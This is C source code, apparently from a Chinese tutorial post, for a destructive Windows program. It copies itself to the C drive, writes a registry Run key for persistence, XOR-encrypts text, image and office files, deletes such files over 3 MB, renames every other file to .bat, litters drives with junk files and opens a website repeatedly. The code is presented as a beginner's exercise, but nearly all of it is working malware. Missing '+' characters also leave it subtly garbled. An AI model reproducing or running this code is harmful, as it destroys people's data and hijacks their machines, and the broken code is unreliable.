/*******程序功能****

**** 在预定目下下制造垃圾文件99个 文件类型为txt前缀为LOVE_的txt文件

并且在文件内部写入预定字符串

**** 复制自己到C盘根目录 文件名更改成windows10.exe

**** 加入注册表启动项

**** 加密txt、jpg、doc、xls文件(若文件大于3m则执行删除)

**** 其他文件全部修改扩展名为bat(即批处理文件)

**** 打开xxx网页20个

**** 不处理前缀为LOVE_的文件

只供初学者学习测试用,不得乱搞

********************/

#include<stdio.h>

#include<stdlib.h>

#include<string.h>

#include<direct.h>

#include<io.h>

#include<process.h>

#include<time.h>

#include<Windows.h>

#include <sys\stat.h>

#define MAX_PATH 260 //文件最长路径

#define RUB_CT 99 //垃圾文件个数

#define WED_CT 20 //网页个数

char *regadd = { "REGEDIT4\n\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"windowsupdata\"=\"C:\\\\windows\\\\Tasks\\\\windows.exe /s\"" };

//搜索文件

void dirsearch(char *path);

//加密文件

void lock_xor(char *pathFILE, char *password);

//制造垃圾文件

void rubish();

//文件复制

void fcopy(char *infile, char *outfile);

//字符串写入到文件

void strtofile(char *s, char *outfile);

//添加注册表项

void add_reg();

//打开网页

void openwed();

//修改文件扩展名

void renExt(char *ffile);

//字符串定位返回对应字符串指针

char *strrstr(char *s0, char *s1);

//WCHAR *SS0 = L"ConsoleWindowClass";

void main(int agr, char **agrv)

{

//ShowWindow(FindWindow(SS0, agrv[0]), 0);

int n;

char outf[MAX_PATH] ="C:\\windows10.exe";

//测试目录

char dirpath[7][MAX_PATH] = { "C:\\Users\\Administrator\\Desktop\\cs", "D:\\cs", "E:\\cs", "F:\\cs", "H:\\cs", "I:\\cs", "J:\\cs" };

//复制自己到C盘根目录 文件名更改成windows10.exe

fcopy(*agrv, outf);

//添加注册表项目可能会触发安全提示

//add_reg();

openwed();

for (n = 0; n<7; n )

dirsearch(dirpath[n]);

rubish();

return;

}

void dirsearch(char *path){

//int n;

char fpath[MAX_PATH];

char temp[MAX_PATH];

struct _finddata_t fileinfo;

long handle;

strcpy(temp, path);

strcat(temp, "\\*");

system("if exist temp eixt");

handle = _findfirst(temp, &fileinfo);

if (handle == -1)return;

do{

if (fileinfo.attrib&_A_SUBDIR){

if (fileinfo.name[0] != '.'){

strcpy(fpath, path);

strcat(fpath, "\\");

strcat(fpath, fileinfo.name);

dirsearch(fpath);

}

}

else

{

strcpy(fpath, path);

strcat(fpath, "\\");

strcat(fpath, fileinfo.name);

//if ((chmod(fpath, S_IREAD | S_IWRITE | S_IEXEC)) != 0)return;//修改文件权限为可读可写可执行

if (strstr(fileinfo.name, "LOVE_") != NULL)continue;//不处理前缀为LOVE_的文件

else if (strstr(fileinfo.name, ".txt") != NULL || strstr(fileinfo.name, ".xls") != NULL)

lock_xor(fpath, "abcdefg123");//此处调用加密函数

else if (strstr(fileinfo.name, ".jpg") != NULL || strstr(fileinfo.name, ".doc") != NULL)

lock_xor(fpath, "abcdefg123");//此处调用加密函数

else

renExt(fpath);

}

} while (_findnext(handle, &fileinfo) == 0);

_findclose(handle);

return;

}

//简单异或加密 运行一次加密 再运行一次则解密了

//不想被解密,可以每次用随机密码去加密即可

void lock_xor(char *pathfile, char *password)

{

char file[MAX_PATH];

char pw[20];

long fsize;

char ch;

int n = 0;

FILE *out;

strcpy(file, pathfile);

strcpy(pw, password);

out = fopen(file, "rb ");

if (out == NULL){

//perror(file);//错误提示

return;

}

fseek(out, 0, SEEK_END);

fsize = ftell(out);

//若文件大于3M,直接删除

//删除只针对前面说明的那几种类型的文件

if (fsize>3000000){

fclose(out);

remove(pathfile);

return;

}

rewind(out);

ch = fgetc(out);

//文件小于3M执行加密

//只针对前面说明的那几种类型的文件

while (!feof(out)){

ch ^= *(pw n);

n ;

fseek(out, -1L, SEEK_CUR);

fputc(ch, out);

ch = fgetc(out);

if (*(pw n) == '\0')n = 0;

if (ftell(out) == fsize)goto label;

}

label:

if(fclose(out))return;

else return;

// perror("fclose");

return;

}

void fcopy(char *infile,char *outfile)

{

FILE *input, *output;

char temp;

input = fopen(infile,"rb");

output = fopen(outfile, "wb");

if (input == NULL || output == NULL || strcmp(infile, outfile) == 0)return;

while (!feof(input)){

fread(&temp, 1, 1, input);

fwrite(&temp, 1, 1, output);

}

fclose(output);

if(fclose(input))return;

else return;

return;

}

void renExt(char *ffile)

{

char newna[256];

char *pExt;

int j = 0;

char *extf = ".bat";

strcpy(newna, ffile);

pExt = strrstr(newna, ".");

if (pExt == NULL)return; //修正在处理无扩展名文件时出错问题

while (*pExt != '\0' && *extf != '\0')

*pExt = *(extf j );

*pExt = '\0';

rename(ffile, newna);

}

/******指定字符串在另一指定字符串中最后出现的位置指针***/

char *strrstr(char *s0,char *s1)

{

int n;

char *p, *np = NULL;

char *pf = s0;

for (n = 0; *(s0 n) != '\0'; n )

{

p = strstr(pf, s1);

if (p != NULL){

np = p;

pf = p 1;

}

}

return np;

}

void strtofile(char *s, char *outfile)

{

FILE *output;

output = fopen(outfile, "wb");

if (output == NULL)return;

fwrite(s, strlen(s), 1, output);

if(fclose(output))return;

else return;

return;

}

/*************************

添加注册表项:

自动运行生成文件名为windows10.exe

**************************/

void add_reg()

{

FILE *output;

if ((output = fopen("$$$", "w")) != NULL)

{

fprintf(output, regadd);

fclose(output);

spawnl(1, "c:\\windows\\regedit.exe", "/s $$$", NULL);

}

return;

}

/************垃圾文件制造模块****************/

void rubish()

{

char path[260];//路径

char fname[80];//文件名

char *ss = "一百年后的今天,我们还会再次相遇!";//待写入字符串

char dev[7][15] = { "C:\\cs1\\", "D:\\cs1\\", "E:\\cs1\\", "F:\\cs1\\", "H:\\cs1\\", "I:\\cs1\\", "J:\\cs1\\" };//测试分区/目录

int n, rb;

unsigned tt;

time_t mytt;

tt = time(&mytt);

for (n = 0; n<7; n )

{

//生成999个垃圾文件

for (rb = 0; rb<RUB_CT; rb )

{

if (tt>0){

tt -= 5;

srand(tt);

}

sprintf(fname, "LOVE_%d.txt", rand());

strcpy(path, dev[n]);

strcat(path, fname);

strtofile(ss, path);

printf("%s\n", path);

}

}

}

void openwed()

{

int j;

for (j = 0; j<WED_CT; j )

ShellExecute(NULL, L"open", L"www.xxxxxxxxxxxx.com", NULL, NULL, SW_SHOWNORMAL);

return;

}

//

c语言信息的增删查改(复制自身加密删除)(1)

//处理前

c语言信息的增删查改(复制自身加密删除)(2)

c语言信息的增删查改(复制自身加密删除)(3)

//处理后

c语言信息的增删查改(复制自身加密删除)(4)

c语言信息的增删查改(复制自身加密删除)(5)

c语言信息的增删查改(复制自身加密删除)(6)

,